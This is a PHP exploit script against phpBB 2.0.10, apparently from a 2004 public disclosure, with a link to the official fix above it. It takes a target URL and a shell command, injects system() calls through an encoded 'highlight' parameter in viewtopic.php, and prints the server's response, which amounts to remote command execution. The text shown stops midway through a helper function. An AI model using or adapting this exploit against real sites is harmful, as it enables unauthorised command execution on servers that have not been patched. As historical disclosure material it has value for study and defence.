-> Official fix Here

#!/usr/bin/php -q
<?php
/*
# phpBB 2.0.10 execute command by pokleyzz <pokleyzz at scan-associates.net>
# 15th November 2004 : 4:04 a.m
#
# bug found by How Dark (www howdark com) (1st October 2004)
#
# Requirement:
#
# PHP 4.x with curl extension;
#
# ** Selamat Hari Raya **
*/

if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}

if ($argv[2]){
$url = $argv[1];
$command = $argv[2];
}
else {
echo "Usage: ".$argv[0]." <URL> <command> [topic id] [proxy]\n\n";
echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n";
echo "\tcommand\t command to execute on server (ex: 'ls -la')\n";
echo "\ttopic_id\t topic id\n";
echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
exit;
}
if ($argv[3])
$topic = $argv[3];
else
$topic = 1;

if ($argv[4])
$proxy = $argv[4];

$cmd = str2chr($command);

$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
echo $res;

function str2chr($str){